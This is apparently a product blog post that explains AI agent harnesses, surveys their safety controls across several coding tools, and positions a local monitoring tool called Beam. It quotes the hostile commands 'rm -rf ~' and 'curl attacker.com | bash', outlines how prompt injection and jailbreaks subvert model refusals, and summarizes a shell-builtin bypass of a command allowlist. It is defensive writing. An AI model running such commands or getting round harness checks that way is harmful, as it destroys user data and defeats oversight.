An agent harness is the software that sits between a language model and your machine, turning the model's text output into a real shell command, file write, or browser click. The model itself has no hands — it produces a structured request; the harness decides whether to run it, and with what permissions. Claude Code, Codex CLI, Cursor, Cline, Roo Code, Aider, and any custom LangChain- or AutoGPT-style loop are all harnesses in this sense, and every one of them has to answer the same question: what stops the model's next tool call from being rm -rf ~ or curl attacker.com | bash? This post defines the term precisely, maps the safety mechanisms that recur across products, and explains where independent, harness-agnostic monitoring like Beam fits — and where it explicitly does not.
Quick reference
| Question | Answer |
|---|---|
| What's the difference between the model and the harness? | The model only emits text/tool-call requests; the harness is the program that actually executes them with real OS permissions |
| Can a harness's safety features be bypassed? | Yes — prompt injection, jailbreaks, and misconfiguration have all defeated shipped controls (see Cursor's CVE-2026-22708) |
| Is "the model refused" a safety mechanism? | No — it depends on the model's judgment, which is exactly what injection and jailbreaks target |
| Is Beam a substitute for sandboxing? | No. Per the README, Beam v1 observes and flags; it does not block or enforce anything |
| What actually stops a destructive command? | Sandboxing, approval modes, and hooks that exit non-zero — controls that run before or instead of model judgment |
| Where does Beam fit? | As a harness-agnostic, local-first layer that watches what any harness's hooks/logs expose and flags risky patterns after the fact |
Defining "agent harness" precisely
A large language model, on its own, is a function: text in, text out. It cannot open a file, run a process, or make a network request. When people talk about an AI coding agent "editing a file" or "running tests," what actually happens is a harness — an outer loop of code — receives the model's structured tool-call request (for example, "run npm test" or "write these bytes to src/index.ts"), decides whether to execute it, and if so, executes it with the harness process's own OS-level permissions.
That distinction matters because it tells you where safety controls have to live. The model can be trained to prefer safe behavior, and it can refuse a request in its own output. But nothing in the model's architecture lets it enforce a refusal against the outside world — it has no sandbox of its own, no permission system, no way to stop a line of shell text from reaching /bin/sh once it decides to emit that text. The harness is the only layer with an actual enforcement point, because it is the only layer that touches the real filesystem, network, and process table.
This is also why "which model should I trust more" is the wrong first question for agent safety. Two different harnesses running the identical model can have wildly different blast radii, depending on whether one sandboxes filesystem writes to a project directory and the other runs with full user permissions and no approval gate.
A taxonomy of harness safety mechanisms
Terminology differs by product, but the same handful of mechanisms recur. As of September 2026:
Permission and approval modes
Most harnesses let you choose how much a tool call has to clear before it runs. Claude Code exposes modes ranging from prompting on every tool call to an auto mode that grants execution without asking (Claude Code permission modes, DEV Community). Codex CLI separates this into an explicit approval_policy (on-request, never, untrusted, granular) that is independent from its sandbox setting (OpenAI Codex agent approvals & security docs). The tradeoff is constant across products: more automatic approval means less friction and more risk that a bad tool call executes before a human sees it.
Hooks and pre-execution interceptors
A hook is code the harness runs at a defined point in its loop — commonly just before a tool call executes (PreToolUse) or just after (PostToolUse). In Claude Code, a PreToolUse hook that exits with a specific non-zero status blocks the tool call outright, regardless of the active permission mode — this is the one mechanism that can override an approval decision programmatically rather than just prompting a human. Hooks are also the integration point Beam itself uses: the Sentinel collector's Claude Code hook accepts a PreToolUse or PostToolUse JSON payload on stdin, per apps/sentinel-collector/README.md, but it "emits no allow/deny response" — it observes, it does not gate.
Sandboxing
Sandboxing constrains what a command can technically touch, independent of whether the harness or the model "decided" the command was safe. Codex CLI's default workspace-write sandbox mode limits writes to the active workspace and disables network access by default, using OS-level enforcement (Codex sandbox modes, Inventive HQ). Claude Code documentation describes sandbox boundaries built on Seatbelt (macOS) and bubblewrap (Linux) as the outer limit on what a Bash tool call can reach, explicitly as defense-in-depth alongside permission rules (Claude Code permission modes, DEV Community). Containers and full VMs are the heavier-weight version of the same idea: run the agent somewhere a mistake can't reach production data or your real home directory.
Command allowlists and denylists
Many harnesses let you pre-approve or pre-block specific commands or command shapes so routine work doesn't trigger a prompt every time. Cursor supports an allowlist for auto-running commands, layered with sandbox access controls for network and filesystem reach (Cursor changelog 2.5). Allowlists are convenient but brittle: Cursor's CVE-2026-22708 showed that shell builtins like export or declare could manipulate environment variables to turn an approved command into something else entirely, bypassing the allowlist even with sandboxing nominally enabled (Cursor allowlist bypass writeup). The lesson generalizes: an allowlist is a list of strings or patterns, and shells are flexible enough to route around pattern matching.
Network egress restrictions
Separate from filesystem sandboxing, some harnesses let you restrict which hosts an agent's commands or tools can reach — Cursor's sandbox, for instance, supports domain allowlists via sandbox.json, with enterprise-tier admin controls for org-wide egress policy (Cursor changelog 2.5). This matters specifically for credential exfiltration: a compromised MCP server or an injected instruction that tries to phone home needs somewhere to phone, and a tight egress list closes that off even if every other control failed.
Human-in-the-loop review
Some harnesses build review into the workflow itself rather than treating it as a permission popup. xAI's Grok Build, for example, produces a written step-by-step plan before touching files, and only moves to execution after a developer explicitly approves, comments on, or rewrites that plan (Grok Build developer guide; Grok Build CLI overview). This is still human-in-the-loop review — the difference from a permission prompt is that it reviews a whole plan up front rather than each tool call as it happens.
Why "the model refused" is not a safety mechanism
It's tempting to treat a model's own judgment as a control: "it wouldn't run something that destructive." That judgment is real, but it is not enforcement — it's a preference the model can be talked out of. Prompt injection hides an instruction inside content the agent reads (a file, a web page, an MCP tool's response) that the model then treats as a legitimate request. A jailbreak reframes a harmful request so the model's training doesn't recognize it as harmful. Both techniques exist specifically because model-level refusal is probabilistic, not architectural.
Once the model is convinced — however that happened — it emits the same tool-call request a legitimate instruction would produce, and the harness has no way to tell the difference from the call alone. That is precisely why the mechanisms in the taxonomy above matter: a sandbox that blocks writes outside the workspace doesn't care whether the write request came from a legitimate instruction or an injected one. A PreToolUse hook that denylists rm -rf on sensitive paths doesn't ask the model's opinion first. Controls that don't depend on the model's judgment are the ones that hold up against injection and jailbreaks; controls that do depend on it are exactly what those techniques target.
How the four products compare, briefly
The four sibling posts below go deep on each product's actual settings, flags, and gotchas. This table is only meant to orient you — read the linked post for the real setup steps before you rely on any of it.
| Product | Primary safety lever | Where to go deeper |
|---|---|---|
| Claude Code | Permission modes + PreToolUse hooks that can hard-block a call, backed by OS sandboxing (Seatbelt/bubblewrap) | How to stop Claude Code from running dangerous commands |
| Codex CLI | Independent approval_policy and sandbox_mode dials — sandbox limits what a command can touch, approval policy limits when it runs unattended | How to stop Codex from running dangerous commands |
| Cursor | Command allowlist plus a sandbox with network/filesystem access controls — allowlist bypass history (CVE-2026-22708) makes the sandbox the layer to trust more | How to stop Cursor from running dangerous commands |
| Grok Build / other harnesses | Plan-first human review — approve, comment, or rewrite the whole plan before any command executes | How to stop Grok from running dangerous commands |
For a longer side-by-side that also covers Copilot, see Cursor vs Claude Code vs Copilot: agent safety compared.
Where Beam fits — and where it doesn't
Beam is harness-agnostic, local-first observability, not a replacement for any of the mechanisms above. Grounded strictly in apps/sentinel-collector/README.md:
It watches, it doesn't gate. The Sentinel collector accepts a Claude Code PreToolUse or PostToolUse payload piped through its CLI hook, plus normalized NDJSON, imported Numbat records, and OTLP/HTTP JSON from other instrumented sources. For the direct Claude Code hook, the README is explicit: it "sends a bounded request to the collector and emits no allow/deny response. Capture failure is reported on stderr and does not stop the agent." That is a deliberate boundary, not a missing feature — an observer that could itself hang or fail-closed on the agent would be a new failure mode, not a safety improvement.
It flags patterns heuristically, before you run them. Separately from runtime observation, Beam's scanner checks a SKILL.md or MCP config against 11 heuristic patterns plus an MCP version-pin check — credential delivery, destructive commands, downloaded-and-executed code, network sweeps, privilege changes, persistence targets, reverse shells, and instruction overrides. Per the README, "it is not semantic malware analysis or a guarantee of safety," and "scanning is explicit; package pulls and skill installation are not automatically intercepted."
It's independent of any single harness's own controls succeeding. Because Beam ingests normalized events from multiple sources — a direct Claude Code hook, Numbat's broader agent coverage, or a generic OTLP forwarder — a flagged pattern shows up in Beam's local timeline even when the harness's own approval prompt was auto-approved, its sandbox was misconfigured, or an injected instruction talked the model into a bad call. That's the actual value of a second, independent layer: it doesn't need the first layer's mechanism to have worked.
Data stays local. Events land under apps/sentinel-collector/.data, directory mode 0700, files 0600. Known credential formats, auth headers, and URL query secrets are redacted before persistence, with detection running on the raw text first. Retention is capped at the latest 10,000 events and 500 scan reports. There's no default cloud egress — the collector binds to 127.0.0.1:4319, and nothing leaves the machine unless you export it yourself.
What it is not: Beam does not sandbox, does not enforce a deny rule, does not stop a command mid-execution, and does not implement blocking in v1. The README lists enforcement and approvals as future work, not shipped behavior. If your requirement is "stop this command before it runs," that has to come from the harness-level mechanisms in the taxonomy above — Beam's job starts after those mechanisms have already run (or been bypassed).
Honest limitations
- Coverage requires instrumentation. Beam only sees what a hook, CLI pipe, or forwarder actually sends it — there's no background OS surveillance and no automatic discovery of every harness on a machine.
- Heuristic, not semantic. The 11-pattern scanner catches known shapes, not novel obfuscation — the same limitation every pattern-based scanner has.
- Single-user, local. Pairing is for local single-user testing; per the README, shared fleet management, SSO, and database-backed teams are future work, not current capability.
- Harness-level controls have their own gaps. Sandboxing, allowlists, and approval modes are stronger than model judgment but are not infallible — CVE-2026-22708 is a concrete example of a sandbox-adjacent bypass shipping in a mainstream product.
No single layer here — model judgment, harness sandboxing, or independent monitoring — is complete on its own. Combining harness-level prevention with independent observability is the actual practice, not a marketing claim: prevention reduces how often something destructive runs, and observability is what tells you when prevention didn't hold.
Frequently asked questions
What is an agent harness?
An agent harness is the software scaffold around a language model that executes the model's tool-call requests — reading and writing files, running shell commands, calling MCP servers or browser tools — with real permissions on a real machine. Claude Code, Codex CLI, Cursor, Cline, Roo Code, Aider, and custom LangChain- or AutoGPT-style loops are all harnesses.
What's the difference between the model and the harness?
The model only produces text and structured tool-call requests; it has no independent ability to touch a filesystem or network. The harness is the program that receives that request and decides whether and how to execute it, which is why safety controls have to live in the harness.
Can a harness's safety features be bypassed?
Yes — prompt injection and jailbreaks can get a compliant model to emit a dangerous request, and misconfiguration or implementation bugs (like Cursor's CVE-2026-22708 allowlist bypass) can let shipped controls fail even without a jailbreak involved.
Is Beam a substitute for sandboxing?
No. Per apps/sentinel-collector/README.md, Beam v1 does not implement blocking — it observes and flags locally. Sandboxing, approval modes, and blocking hooks are the layer that actually stops a command from running.
Why isn't "the model refused" a safety mechanism?
Because it depends on the model correctly recognizing a request as harmful, which is exactly what prompt injection and jailbreaks are designed to defeat. A refusal that holds for one prompt can fail on a differently worded one.
Which mechanism should I set up first?
Sandboxing gives the strongest baseline because it constrains a command regardless of why it ran. Layer approval modes and hooks on top, and add independent monitoring for the cases where the first layer doesn't hold.
Summary and related reading
An agent harness is where safety enforcement actually has to live, because it's the only layer that touches your real filesystem, network, and shell. Permission modes, hooks, sandboxing, allowlists, egress restrictions, and human plan review are the recurring mechanisms across products — no single one is complete, and model refusal alone is not a mechanism at all. Beam adds a harness-agnostic, local-first observation layer on top: it flags risky patterns from session logs and hooks where available, without needing any harness's own safety mechanism to have succeeded — and it does not block anything in v1.
- How to stop Claude Code from running dangerous commands
- How to stop Codex from running dangerous commands
- How to stop Cursor from running dangerous commands
- How to stop Grok from running dangerous commands
- Cursor vs Claude Code vs Copilot: agent safety compared
- AI agent guardrails: monitoring vs. blocking
- What is AI agent monitoring?
- Use Beam security skills with Claude Code and Codex sub-agents
- Introducing Beam: a local-first security console for your AI coding agents
- Why Beam is open source
Product behavior described for Beam reflects apps/sentinel-collector/README.md (Sentinel collector v0.1) as of September 14, 2026. Third-party harness details (permission modes, sandbox flags, CVE status) reflect public documentation and reporting as of the same date and change frequently — verify current flags and defaults against each product's own docs before relying on them.